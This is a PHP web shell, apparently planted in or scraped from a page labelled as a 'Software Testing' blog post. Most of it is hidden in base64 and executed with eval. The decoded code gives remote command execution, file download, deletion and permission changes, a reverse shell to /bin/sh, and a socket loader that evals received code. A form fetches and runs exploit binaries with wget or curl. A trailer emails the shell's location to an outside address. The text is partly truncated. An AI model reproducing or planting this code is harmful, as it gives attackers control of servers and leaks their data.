nQ8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iYmFja3BvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQ7Pz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5Vc2U8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpqdXN0aWZ5Ij48cD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InVzZSI+PG9wdGlvbiB2YWx1ZT0iUGVybCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IkMiPkM8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmFja2Nvbm4iIHZhbHVlPSJDb25uZWN0IiBjbGFzcz0iaW5wdXR6YnV0IiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD51cmw8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0id3VybCIgc3R5bGU9IndpZHRoOjI1MHB4OyIgdmFsdWU9Ind3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPjx0cj48dGQ+Y21kPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9IndjbWQiIHN0eWxlPSJ3aWR0aDoyNTBweDsiIHZhbHVlPSJnY2MgLW8gZXhwbG9pdHMgZXhwbG9pdHMuYztjaG1vZCAreCBleHBsb2l0czsuL2V4cGxvaXRzOyI+PC90ZD4gPC90cj4gPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPiA8b3B0aW9uIHZhbHVlPSJ3d2dldCI+d2dldDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bHlueCI+bHlueDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPmZyZWFkPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmZXRjaCI+ZmV0Y2g8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2xpbmtzIj5saW5rczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJleHBjb21waWxlIiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iIHN0eWxlPSJ3aWR0aDoyNDZweDsiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPjwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MnB4OyI+PD9waHAgZWNobyAkbXNnOz8+PC9kaXY+PGJyPg0KPD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIHNzKCR0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHJldHVybiB0cmltKHVybGRlY29kZSgkdCkpO3JldHVybiB0cmltKHVybGRlY29kZShzdHJpcHNsYXNoZXMoJHQpKSk7fQ0KJHNfbXlfaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7JHJzcG9ydCA9ICI0NDMiOyRyc3BvcnRiNCA9ICRyc3BvcnQ7JHJzdGFyZ2V0NCA9ICRzX215X2lwOyRzX3Jlc3VsdCA9ICI8Y2VudGVyPjxkaXYgY2xhc3M9J215Ym94JyBhbGlnbj0nY2VudGVyJz48dGQ+PGgyPlJldmVyc2Ugc2hlbGwgKCBwaHAgKTwvaDI+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb25zPSc/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9J25ldHNwbG9pdCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5Zb3VyIElQPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ncnN0YXJnZXQ0JyB2YWx1ZT0nIi4kcnN0YXJnZXQ0LiInIC8+PC90ZD48L3RyPjx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHBvcnRiNCcgdmFsdWU9JyIuJHJzcG9ydGI0LiInIC8+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neGJhY2tfcGhwJyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nY29ubmVjdCcgc3R5bGU9J3dpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDsnIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIuJHB3ZC4iJyAvPjwvZm9ybT48L3RkPjxociBjb2xvcj0nIzRDODNBRic+PHRkPjxmb3JtIG1ldGhvZD0nUE9TVCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PGgyPk1ldGFzcGxvaXQgQ29ubmVjdGlvbiA8L2gyPjx0cj48dGQgc3R5bGU9J3dpZHRoOjEwMHB4Oyc+WW91ciBJUDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIHNpemU9JzQwJyBuYW1lPSd5aXAnIHZhbHVlPSciLiRteV9pcC4iJyAvPjwvdGQ+PC90cj48dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBzaXplPSc1JyBuYW1lPSd5cG9ydCcgdmFsdWU9JzQ0MycgLz48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ29ubmVjdCcgbmFtZT0nbWV0YUNvbm5lY3QnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7Jz48L2Zvcm0+PC90ZD48L2Rpdj48L2NlbnRlcj4iOw0KZWNobyAkc19yZXN1bHQ7DQppZigkX1BPU1RbJ21ldGFDb25uZWN0J10peyRpcGFkZHIgPSAkX1BPU1RbJ3lpcCddOyRwb3J0ID0gJF9QT1NUWyd5cG9ydCddO2lmICgkaXAgPT0gIiIgJiYgJHBvcnQgPT0gIiIpe2VjaG8gImZpbGwgaW4gdGhlIGJsYW5rcyI7fWVsc2Uge2lmIChGQUxTRSAhPT0gc3RycG9zKCRpcGFkZHIsICI6IikpIHskaXBhZGRyID0gIlsiLiAkaXBhZGRyIC4iXSI7fWlmIChpc19jYWxsYWJsZSgnc3RyZWFtX3NvY2tldF9jbGllbnQnKSl7JG1zZ3NvY2sgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8veyRpcGFkZHJ9OnskcG9ydH0iKTtpZiAoISRtc2dzb2NrKXtkaWUoKTt9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdmc29ja29wZW4nKSl7JG1zZ3NvY2sgPSBmc29ja29wZW4oJGlwYWRkciwkcG9ydCk7aWYgKCEkbXNnc29jaykge2RpZSgpOyB9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdzb2NrZXRfY3JlYXRlJykpeyRtc2dzb2NrID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7JHJlcyA9IHNvY2tldF9jb25uZWN0KCRtc2dzb2NrLCAkaXBhZGRyLCAkcG9ydCk7aWYgKCEkcmVzKSB7ZGllKCk7IH0kbXNnc29ja190eXBlID0gJ3NvY2tldCc7fWVsc2Uge2RpZSgpO31zd2l0Y2ggKCRtc2dzb2NrX3R5cGUpe2Nhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO2Nhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO31pZiAoISRsZW4pIHtkaWUoKTt9JGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTskbGVuID0gJGFbJ2xlbiddOyRidWZmZXIgPSAnJzt3aGlsZSAoc3RybGVuKCRidWZmZXIpIDwgJGxlbil7c3dpdGNoICgkbXNnc29ja190eXBlKSB7Y2FzZSAnc3RyZWFtJzogJGJ1ZmZlciAuPSBmcmVhZCgkbXNnc29jaywgJGxlbi1zdHJsZW4oJGJ1ZmZlcikpOyBicmVhaztjYXNlICdzb2NrZXQnOiAkYnVmZmVyIC49IHNvY2tldF9yZWFkKCRtc2dzb2NrLCAkbGVuLXN0cmxlbigkYnVmZmVyKSk7YnJlYWs7fX1ldmFsKCRidWZmZXIpO2VjaG8gIlsqXSBDb25uZWN0aW9uIFRlcm1pbmF0ZWQiO2RpZSgpO319DQppZihpc3NldCgkX1JFUVVFU1RbJ3NxbHBvcnRiNCddKSkgJHJzcG9ydGI0ID0gc3MoJF9SRVFVRVNUWydzcWxwb3J0YjQnXSk7DQppZihpc3NldCgkX1JFUVVFU1RbJ3JzdGFyZ2V0NCddKSkgJHJzdGFyZ2V0NCA9IHNzKCRfUkVRVUVTVFsncnN0YXJnZXQ0J10pOw0KaWYgKCRfUE9TVFsneGJhY2tfcGhwJ10pIHskaXAgPSAkcnN0YXJnZXQ0OyRwb3J0ID0gJHJzcG9ydGI0OyRjaHVua19zaXplID0gMTMzNzskd3JpdGVfYSA9IG51bGw7JGVycm9yX2EgPSBudWxsOyRzaGVsbCA9ICcvYmluL3NoJzskZGFlbW9uID0gMDskZGVidWcgPSAwO2lmKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKXskcGlkID0gcGNudGxfZm9yaygpOw0KaWYgKCRwaWQgPT0gLTEpIGV4aXQoMSk7aWYgKCRwaWQpIGV4aXQoMCk7aWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSBleGl0KDEpOyRkYWVtb24gPSAxO30NCnVtYXNrKDApOyRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApO2lmKCEkc29jaykgZXhpdCgxKTsNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOw0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQppZighaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSBleGl0KDEpOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQp3aGlsZSgxKXtpZihmZW9mKCRzb2NrKSkgYnJlYWs7aWYoZmVvZigkcGlwZXNbMV0pKSBicmVhazskcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTskbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsNCmlmKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSl7JGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTtmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpO30NCmlmKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpeyRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpO2Z3cml0ZSgkc29jaywgJGlucHV0KTt9DQppZihpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKXskaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTtmd3JpdGUoJHNvY2ssICRpbnB1dCk7fX1mY2xvc2UoJHNvY2spO2ZjbG9zZSgkcGlwZXNbMF0pO2ZjbG9zZSgkcGlwZXNbMV0pO2ZjbG9zZSgkcGlwZXNbMl0pO3Byb2NfY2xvc2UoJHByb2Nlc3MpOyRyc3JlcyA9ICIgIjskc19yZXN1bHQgLj0gJHJzcmVzO319IGVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc2hlbGwnKSl7Pz4gDQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7eD1zaGVsbCIgbWV0aG9kPSJwb3N0Ij4gPHRhYmxlIGNsYXNzPSJjbWRib3giPiA8dHI+PHRkIGNvbHNwYW49IjIiPg0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIHJlYWRvbmx5Pg0KPD9waHAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRjbWQnXSkpIHtlY2hvIEBleGUoJF9QT1NUWydjbWQnXSk7fSA/PiANCjwvdGV4dGFyZWE+IDx0cj48dGQgY29sc3Bhbj0iMiI+PD9waHAgZWNobyAkcHJvbXB0Oz8+PGlucHV0IG9uTW91c2VPdmVyPSJ0aGlzLmZvY3VzKCk7IiBpZD0iY21kIiBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHN0eWxlPSJ3aWR0aDo2MCU7IiB2YWx1ZT0iIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJEbyAhIiBuYW1lPSJzdWJtaXRjbWQiIHN0eWxlPSJ3aWR0aDoxMiU7IiAvPjwvdGQ+PC90cj4gPC90YWJsZT48L2Zvcm0+IA0KPD9waHAgfWVsc2V7aWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSAmJiAoJF9HRVRbJ2RlbGV0ZSddICE9ICIiKSl7JGZpbGUgPSAkX0dFVFsnZGVsZXRlJ107QHVubGluaygkZmlsZSk7fSANCmVsc2VpZihpc3NldCgkX0dFVFsnZmRlbGV0ZSddKSAmJiAoJF9HRVRbJ2ZkZWxldGUnXSAhPSAiIikpe0BybWRpcihydHJpbSgkX0dFVFsnZmRlbGV0ZSddLERJUkVDVE9SWV9TRVBBUkFUT1IpKTt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ21rZGlyJ10pICYmICgkX0dFVFsnbWtkaXInXSAhPSAiIikpeyRwYXRoID0gJHB3ZC4kX0dFVFsnbWtkaXInXTtAbWtkaXIoJHBhdGgpO30kYnVmZiA9IHNob3dkaXIoJHB3ZCwkcHJvbXB0KTtlY2hvICRidWZmO30NCj8+PC9kaXY+PC9ib2R5PjwvaHRtbD4='; eval(base64_decode($k2ll33d)); ?> <? $site = "www.dev-pts.com/vb"; if(!ereg($site, $_SERVER['SERVER_NAME'])) { $to = "mandrarami2000@gmail.com"; $subject = "EGFM"; $header = "from: New Shell "; $message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n"; $message .= "Path : " . __file__; $sentmail = @mail($to, $subject, $message, $header); echo ""; exit; } ?> <?php chdir($lastdir); c99shexit(); ?>
Categories: Software Testing

x.php

Testing Reflections - Wed, 12/10/2014 - 06:34
<?php // fb/k2ll33d $k2ll33d='Ly8gYnkgazJsbDMzZCAvIGZiL2sybGwzM2QNCnNldF90aW1lX2xpbWl0KDApO2Vycm9yX3JlcG9ydGluZygwKTsNCmlmKGlzc2V0KCRfR0VUWyJkbCJdKSAmJiAoJF9HRVRbImRsIl0gIT0gIiIpKXskZmlsZSA9ICRfR0VUWyJkbCJdOyRmaWxleiA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7aGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpO2hlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRmaWxleikpO2hlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDtmaWxlbmFtZT0nIi5iYXNlbmFtZSgkZmlsZSkuIic7Iik7ZWNobyAkZmlsZXo7ZXhpdDt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyJkbGd6aXAiXSkgJiYgKCRfR0VUWyJkbGd6aXAiXSAhPSAiIikpeyRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOyRmaWxleiA9IGd6ZW5jb2RlKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpO2hlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7aGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJGZpbGV6KSk7aGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPSciLmJhc2VuYW1lKCRmaWxlKS4iLmd6JzsiKTtlY2hvICRmaWxlejtleGl0O30gDQppZihpc3NldCgkX0dFVFsiaW1nIl0pKXtAb2JfY2xlYW4oKTskZCA9IG1hZ2ljYm9vbSgkX0dFVFsieSJdKTskZiA9ICRfR0VUWyJpbWciXTskaW5mID0gQGdldGltYWdlc2l6ZSgkZC4kZik7JGV4dCA9IGV4cGxvZGUoJGYsIi4iKTskZXh0ID0gJGV4dFtjb3VudCgkZXh0KS0xXTtAaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBwdWJsaWMiKTtAaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTtAaGVhZGVyKCJDYWNoZS1jb250cm9sOiBtYXgtYWdlPSIuKDYwKjYwKjI0KjcpKTtAcmVhZGZpbGUoJGQuJGYpO2V4aXQ7fSAkc29mdHdhcmUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgJHNhZmVtb2RlID0gVFJVRTtlbHNlICRzYWZlbW9kZSA9IEZBTFNFOyRzeXN0ZW0gPSBAcGhwX3VuYW1lKCk7aWYoc3RydG9sb3dlcihzdWJzdHIoJHN5c3RlbSwwLDMpKSA9PSAid2luIikNCiR3aW4gPSBUUlVFO2Vsc2UgJHdpbiA9IEZBTFNFO2lmKGlzc2V0KCRfR0VUWyd5J10pKXtpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXskcHdkID0gJF9HRVRbJ3ZpZXcnXTtAY2hkaXIoJHB3ZCk7fSBlbHNleyRwd2QgPSAkX0dFVFsneSddO0BjaGRpcigkcHdkKTt9IH0gDQppZighJHdpbil7aWYoISR1c2VyID0gcmFwaWgoZXhlKCJ3aG9hbWkiKSkpJHVzZXIgPSAiIjtpZighJGlkID0gcmFwaWgoZXhlKCJpZCIpKSkgJGlkID0gIiI7JHByb21wdCA9ICR1c2VyLiIgXCQgIjskcHdkID0gQGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSANCmVsc2UgeyR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTskaWQgPSAkdXNlcjskcHJvbXB0ID0gJHVzZXIuIiAmZ3Q7IjskcHdkID0gcmVhbHBhdGgoIi4iKS4iXFwiOyR2ID0gZXhwbG9kZSgiXFwiLCRkKTskdiA9ICR2WzBdO2ZvcmVhY2ggKHJhbmdlKCJBIiwiWiIpIGFzICRsZXR0ZXIpIHskYm9vbCA9IEBpc19kaXIoJGxldHRlci4iOlxcIik7aWYgKCRib29sKXskbGV0dGVycyAuPSAiPGEgaHJlZj0nP3k9Ii4kbGV0dGVyLiI6XFwnPlsgIjtpZiAoJGxldHRlci4iOiIgIT0gJHYpeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fSBlbHNlIHskbGV0dGVycyAuPSAiPHNwYW4gY2xhc3M9J2dheWEnPiIuJGxldHRlci4iPC9zcGFuPiI7fSAkbGV0dGVycyAuPSAiIF08L2E+ICI7fX19IA0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgJHBvc2l4ID0gVFJVRTsNCmVsc2UgJHBvc2l4ID0gRkFMU0U7JHNlcnZlcl9pcCA9IEBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7JG15X2lwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107JGJpbmRwb3J0ID0gIjEzMTIzIjskYmluZHBvcnRfcGFzcyA9ICJrMmxsMzNkIjskcHdkcyA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskcHdkdXJsID0gIiI7Zm9yKCRpID0gMCA7JGkgPCBzaXplb2YoJHB3ZHMpLTEgOyRpKyspeyRwYXRoeiA9ICIiO2ZvcigkaiA9IDAgOyRqIDw9ICRpIDskaisrKXskcGF0aHogLj0gJHB3ZHNbJGpdLkRJUkVDVE9SWV9TRVBBUkFUT1I7fSAkcHdkdXJsIC49ICI8YSBocmVmPSc/eT0iLiRwYXRoei4iJz4iLiRwd2RzWyRpXS4iICIuRElSRUNUT1JZX1NFUEFSQVRPUi4iIDwvYT4iO30gDQppZihpc3NldCgkX1BPU1RbJ3JlbmFtZSddKSl7JG9sZCA9ICRfUE9TVFsnb2xkbmFtZSddOyRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTtAcmVuYW1lKCRwd2QuJG9sZCwkcHdkLiRuZXcpOyRmaWxlID0gJHB3ZC4kbmV3O30JaWYoaXNzZXQoJF9QT1NUWydjaG1vZCddKSl7IA0KJG5hbWUgPSAkX1BPU1RbJ25hbWUnXTskdmFsdWUgPSAkX1BPU1RbJ25ld3ZhbHVlJ107aWYgKHN0cmxlbigkdmFsdWUpPT0zKXskdmFsdWUgPSAwIC4gIiIgLiAkdmFsdWU7fUBjaG1vZCgkcHdkLiRuYW1lLG9jdGRlYygkdmFsdWUpKTskZmlsZSA9ICRwd2QuJG5hbWU7fQ0KaWYoaXNzZXQoJF9QT1NUWydjaG1vZF9mb2xkZXInXSkpeyRuYW1lID0gJF9QT1NUWyduYW1lJ107JHZhbHVlID0gJF9QT1NUWyduZXd2YWx1ZSddO2lmIChzdHJsZW4oJHZhbHVlKT09Myl7JHZhbHVlID0gMCAuICIiIC4gJHZhbHVlO31AY2htb2QoJHB3ZC4kbmFtZSxvY3RkZWMoJHZhbHVlKSk7JGZpbGUgPSAkcHdkLiRuYW1lO30gJGJ1ZmYgPSAiJm5ic3A7Ii4kc29mdHdhcmUuIjxicj4iOyRidWZmIC49ICImbmJzcDsiLiRzeXN0ZW0uIjxicj4iO2lmKCRpZCAhPSAiIikgJGJ1ZmYgLj0gIiZuYnNwOyIuJGlkLiI8YnI+IjtpZigkc2FmZW1vZGUpICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiNERDQ3MzYnPk9OPC9mb250PjwvYj48YnI+IjtlbHNlICRidWZmIC49ICImbmJzcDtzYWZlbW9kZSA6Jm5ic3A7PGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9GRjwvZm9udD48L2I+PGJyPiI7DQpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkge2lmICgkc3RhdD09Im9uIikge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9OPC9mb250PjwvYj4iO31lbHNlIHtyZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjojREQ0NzM2Jz5PRkY8L2ZvbnQ+PC9iPiI7fX0NCmZ1bmN0aW9uIHRlc3RteXNxbCgpIHtpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCmZ1bmN0aW9uIHRlc3RjdXJsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0d2dldCgpIHtpZiAoZXhlKCd3Z2V0IC0taGVscCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319DQpmdW5jdGlvbiB0ZXN0cGVybCgpIHtpZiAoZXhlKCdwZXJsIC1oJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0NCiRidWZmIC49ICImbmJzcDtNeVNRTDogIi50ZXN0bXlzcWwoKS4iJm5ic3A7fCZuYnNwO1Blcmw6ICIudGVzdHBlcmwoKS4iJm5ic3A7fCZuYnNwO2NVUkw6ICIudGVzdGN1cmwoKS4iJm5ic3A7fCZuYnNwO1dHZXQ6ICIudGVzdHdnZXQoKS4iPGJyPiI7DQokYnVmZiAuPSAiJm5ic3A7Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybDsNCmZ1bmN0aW9uIHJhcGloKCR0ZXh0KXtyZXR1cm4gdHJpbShzdHJfcmVwbGFjZSgiPGJyPiIsIiIsJHRleHQpKTt9IA0KZnVuY3Rpb24gbWFnaWNib29tKCR0ZXh0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpe3JldHVybiAkdGV4dDt9IHJldHVybiBzdHJpcHNsYXNoZXMoJHRleHQpO30gDQpmdW5jdGlvbiBzaG93ZGlyKCRwd2QsJHByb21wdCl7JGZuYW1lID0gYXJyYXkoKTskZG5hbWUgPSBhcnJheSgpOw0KaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgDQokcG9zaXggPSBUUlVFO2Vsc2UgJHBvc2l4ID0gRkFMU0U7JHVzZXIgPSAiPz8/Pzo/Pz8/IjsNCmlmKCRkaCA9IG9wZW5kaXIoJHB3ZCkpe3doaWxlKCRmaWxlID0gcmVhZGRpcigkZGgpKXsNCmlmKGlzX2RpcigkZmlsZSkpeyRkbmFtZVtdID0gJGZpbGU7fSANCmVsc2VpZihpc19maWxlKCRmaWxlKSl7JGZuYW1lW10gPSAkZmlsZTt9fWNsb3NlZGlyKCRkaCk7fSBzb3J0KCRmbmFtZSk7c29ydCgkZG5hbWUpOyRwYXRoID0gQGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkcHdkKTskdHJlZSA9IEBzaXplb2YoJHBhdGgpOyRwYXJlbnQgPSAiIjsNCiRidWZmID0gIiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt4PXNoZWxsJyBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdtYXJnaW46OHB4IDAgMCAwOyc+PHRhYmxlIGNsYXNzPSdjbWRib3gnIHN0eWxlPSd3aWR0aDo1MCU7Jz48dHI+PHRkPiRwcm9tcHQ8L3RkPjx0ZD48aW5wdXQgb25Nb3VzZU92ZXI9J3RoaXMuZm9jdXMoKTsnIGlkPSdjbWQnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2NtZCcgc3R5bGU9J3dpZHRoOjQwMHB4OycgdmFsdWU9JycgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRG8gIScgbmFtZT0nc3VibWl0Y21kJyBzdHlsZT0nd2lkdGg6ODBweDsnIC8+PC90ZD48L3RyPjwvZm9ybT48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0JyBzdHlsZT0nbWFyZ2luOjhweCAwIDAgMDsnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3knIHZhbHVlPSci